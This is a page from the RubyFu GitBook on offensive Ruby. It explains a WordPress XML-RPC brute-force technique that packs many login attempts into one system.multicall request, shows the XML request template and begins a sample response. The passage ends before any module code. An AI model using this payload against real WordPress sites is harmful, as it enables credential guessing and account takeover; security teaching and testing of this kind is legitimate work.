<!DOCTYPE HTML>
<html lang="en" >
    
    <head>
        
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <title>Auxiliary module | RubyFu</title>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <meta name="description" content="">
        <meta name="generator" content="GitBook 2.6.2">
        
        
        <meta name="HandheldFriendly" content="true"/>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="apple-mobile-web-app-status-bar-style" content="black">
        <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
        <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
        
    <link rel="stylesheet" href="../gitbook/style.css">
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-anchors/plugin.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-splitter/splitter.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-highlight/website.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-search/search.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-fontsettings/website.css">
        
    
    
        <link rel="stylesheet" href="../styles/website.css">
    

        
    
    
    <link rel="next" href="../module_0x5__exploitation_kung_fu/exploit_module.html" />
    
    
    <link rel="prev" href="../module_0x5__exploitation_kung_fu/metasploit.html" />
    

        <script type="text/javascript" src="../styles/header.js"></script>
    </head>
    <body>
        
        
    <div class="book"
        data-level="5.2.1"
        data-chapter-title="Auxiliary module"
        data-filepath="module_0x5__exploitation_kung_fu/auxiliary_module.md"
        data-basepath=".."
        data-revision="Wed Jan 27 2016 09:00:51 GMT+0300 (AST)"
        data-innerlanguage="">
    

<div class="book-summary">
    <nav role="navigation">
        <ul class="summary">
            
            
            
            

            

            
    
        <li class="chapter " data-level="0" data-path="index.html">
            
                
                    <a href="../index.html">
                
                        <i class="fa fa-check"></i>
                        
                        Module 0x0 | Introduction
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="0.1" data-path="contribution.html">
            
                
                    <a href="../contribution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.1.</b>
                        
                        Contribution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.2" data-path="beginners.html">
            
                
                    <a href="../beginners.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.2.</b>
                        
                        Beginners
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.3" data-path="required_gems.html">
            
                
                    <a href="../required_gems.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.3.</b>
                        
                        Required Gems
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1" data-path="module_0x1__basic_ruby_kung_fu/index.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.</b>
                        
                        Module 0x1 | Basic Ruby Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1" data-path="module_0x1__basic_ruby_kung_fu/string.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/string.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.</b>
                        
                        String
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1.1" data-path="module_0x1__basic_ruby_kung_fu/conversion.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/conversion.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.1.</b>
                        
                        Conversion
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="1.1.2" data-path="module_0x1__basic_ruby_kung_fu/extraction.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/extraction.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.2.</b>
                        
                        Extraction
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="module_0x1__basic_ruby_kung_fu/array.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/array.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.2.</b>
                        
                        Array
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2" data-path="module_0x2__system_kung_fu/index.html">
            
                
                    <a href="../module_0x2__system_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.</b>
                        
                        Module 0x2 | System Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.1" data-path="module_0x2__system_kung_fu/command_execution.html">
            
                
                    <a href="../module_0x2__system_kung_fu/command_execution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.1.</b>
                        
                        Command Execution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.2" data-path="module_0x2__system_kung_fu/file_manipulation.html">
            
                
                    <a href="../module_0x2__system_kung_fu/file_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.</b>
                        
                        File manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.2.1" data-path="module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
            
                
                    <a href="../module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.1.</b>
                        
                        Parsing HTML, XML, JSON
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.3" data-path="module_0x2__system_kung_fu/cryptography.html">
            
                
                    <a href="../module_0x2__system_kung_fu/cryptography.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.3.</b>
                        
                        Cryptography
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4" data-path="module_0x2__system_kung_fu/system_shell.html">
            
                
                    <a href="../module_0x2__system_kung_fu/system_shell.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.</b>
                        
                        Remote Shell
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.4.1" data-path="module_0x2__system_kung_fu/ncatrb.html">
            
                
                    <a href="../module_0x2__system_kung_fu/ncatrb.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.1.</b>
                        
                        Ncat.rb
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4.2" data-path="module_0x2__system_kung_fu/rce_as_a_service.html">
            
                
                    <a href="../module_0x2__system_kung_fu/rce_as_a_service.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.2.</b>
                        
                        RCE as a Service
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.5" data-path="module_0x2__system_kung_fu/virustotal.html">
            
                
                    <a href="../module_0x2__system_kung_fu/virustotal.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.5.</b>
                        
                        VirusTotal
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3" data-path="module_0x3__network_kung_fu/index.html">
            
                
                    <a href="../module_0x3__network_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.</b>
                        
                        Module 0x3 | Network Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.1" data-path="module_0x3__network_kung_fu/ruby_socket.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ruby_socket.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.1.</b>
                        
                        Ruby Socket
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.2" data-path="module_0x3__network_kung_fu/ssid_finder.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssid_finder.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.2.</b>
                        
                        SSID Finder
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.3" data-path="module_0x3__network_kung_fu/ftp.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ftp.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.3.</b>
                        
                        FTP
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.4" data-path="module_0x3__network_kung_fu/ssh.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssh.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.4.</b>
                        
                        SSH
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.5" data-path="module_0x2__system_kung_fu/email.html">
            
                
                    <a href="../module_0x2__system_kung_fu/email.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.</b>
                        
                        Email
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.5.1" data-path="module_0x2__system_kung_fu/smtp_enumeration.html">
            
                
                    <a href="../module_0x2__system_kung_fu/smtp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.1.</b>
                        
                        SMTP Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.6" data-path="module_0x3__network_kung_fu/network_scanning.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_scanning.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.</b>
                        
                        Network Scanning
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.6.1" data-path="module_0x3__network_kung_fu/nmap.html">
            
                
                    <a href="../module_0x3__network_kung_fu/nmap.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.1.</b>
                        
                        Nmap
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.7" data-path="module_0x3__network_kung_fu/dns.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.</b>
                        
                        DNS
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.7.1" data-path="module_0x3__network_kung_fu/dns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.1.</b>
                        
                        DNS Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.8" data-path="module_0x3__network_kung_fu/snmp_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/snmp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.8.</b>
                        
                        SNMP Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.9" data-path="module_0x3__network_kung_fu/tns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/tns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.9.</b>
                        
                        Oracle TNS Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10" data-path="module_0x3__network_kung_fu/packet_manipulation.html">
            
                
                    <a href="../module_0x3__network_kung_fu/packet_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.</b>
                        
                        Packet manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.10.1" data-path="module_0x3__network_kung_fu/arp_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/arp_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.1.</b>
                        
                        ARP Spoofing
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10.2" data-path="module_0x3__network_kung_fu/dns_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.2.</b>
                        
                        DNS Spoofing
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4" data-path="module_0x4__web_kung_fu/index.html">
            
                
                    <a href="../module_0x4__web_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.</b>
                        
                        Module 0x4 | Web Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
            
                
                    <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.1.</b>
                        
                        SQL Injection Scanner
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
            
                
                    <a href="../module_0x4__web_kung_fu/databases.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.2.</b>
                        
                        Databases
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
            
                
                    <a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.3.</b>
                        
                        Extending Burp Suite
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
            
                
                    <a href="../module_0x4__web_kung_fu/browser_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.4.</b>
                        
                        Browser Manipulation
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.</b>
                        
                        Web Services and APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_services.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.1.</b>
                        
                        Interacting with Web Services
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.</b>
                        
                        Interacting with APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/wordpress_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.1.</b>
                        
                        WordPress API
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/twitter_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.2.</b>
                        
                        Twitter API
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
            
                
                    <a href="../module_0x4__web_kung_fu/ruby2javascript.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.6.</b>
                        
                        Ruby 2 JavaScript
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.7.</b>
                        
                        Web Server and Proxy
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.</b>
                        
                        Module 0x5 | Exploitation Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.1.</b>
                        
                        Fuzzer
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasploit.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.</b>
                        
                        Metasploit
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter active" data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.1.</b>
                        
                        Auxiliary module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.2.</b>
                        
                        Exploit module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.</b>
                        
                        Meterpreter
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/extensions.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.1.</b>
                        
                        API and Extensions
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.2.</b>
                        
                        Meterpreter Scripting
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.3.</b>
                        
                        Railgun API Extension
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasm.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.3.</b>
                        
                        metasm
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
            
                
                    <a href="../module_0x6__forensic/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.</b>
                        
                        Module 0x6 | Forensic Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
            
                
                    <a href="../module_0x6__forensic/windows_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.1.</b>
                        
                        Windows Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
            
                
                    <a href="../module_0x6__forensic/android_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.2.</b>
                        
                        Android Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.3.</b>
                        
                        Network Traffic Analysis
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
            
                
                    <a href="../module_0x6__forensic/parsing_log_files.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.4.</b>
                        
                        Parsing Log Files
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="7" data-path="references/index.html">
            
                
                    <a href="../references/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>7.</b>
                        
                        References
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="8" data-path="faqs/index.html">
            
                
                    <a href="../faqs/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>8.</b>
                        
                        FAQs
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="9" data-path="contributors/index.html">
            
                
                    <a href="../contributors/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.</b>
                        
                        Contributors
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="9.1" data-path="contributors/todo.html">
            
                
                    <a href="../contributors/todo.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.1.</b>
                        
                        TODO
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    


            
            <li class="divider"></li>
            <li>
                <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
                    Published with GitBook
                </a>
            </li>
            
        </ul>
    </nav>
</div>

    <div class="book-body">
        <div class="body-inner">
            <div class="book-header" role="navigation">
    <!-- Actions Left -->
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="../" >RubyFu</a>
    </h1>
</div>

            <div class="page-wrapper" tabindex="-1" role="main">
                <div class="page-inner">
                
                
                    <section class="normal" id="section-">
                    
                        <h1 id="auxiliary-module"><a name="auxiliary-module" class="plugin-anchor" href="#auxiliary-module"><span class="fa fa-link"></span></a>Auxiliary module</h1>
<h2 id="scanner"><a name="scanner" class="plugin-anchor" href="#scanner"><span class="fa fa-link"></span></a>Scanner</h2>
<p>Basic Scanner modules</p>
<h3 id="wordpress-xmlrpc-massive-brute-force"><a name="wordpress-xmlrpc-massive-brute-force" class="plugin-anchor" href="#wordpress-xmlrpc-massive-brute-force"><span class="fa fa-link"></span></a>WordPress XML-RPC Massive Brute Force</h3>
<p>WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain. </p>
<p>Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It&apos;s 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you&apos;ll send 6000 request a few of its are parallel.</p>
<pre><code class="lang-xml"><span class="hljs-pi">&lt;?xml version=&quot;1.0&quot;?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-title">methodCall</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-title">methodName</span>&gt;</span>system.multicall<span class="hljs-tag">&lt;/<span class="hljs-title">methodName</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-title">params</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-title">param</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>


  <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">struct</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>methodName<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>wp.getUsersBlogs<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>params<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>&quot;USER #1&quot;<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>&quot;PASS #1&quot;<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>

  ...Snippet...

  <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">struct</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>methodName<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>wp.getUsersBlogs<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>params<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>&quot;USER #1&quot;<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>&quot;PASS #N&quot;<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>


<span class="hljs-tag">&lt;/<span class="hljs-title">params</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-title">methodCall</span>&gt;</span>
</code></pre>
<p>So from above you can understand how the XML request will be build. Now How the reply will be?
To simplify this we&apos;ll test a single user once with wrong password another with correct password to understand the response behavior </p>
<p><strong>wrong password response</strong></p>
<pre><code class="lang-xml"><span class="hljs-pi">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-title">methodResponse</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">params</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">param</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-title">struct</span>&gt;</span>
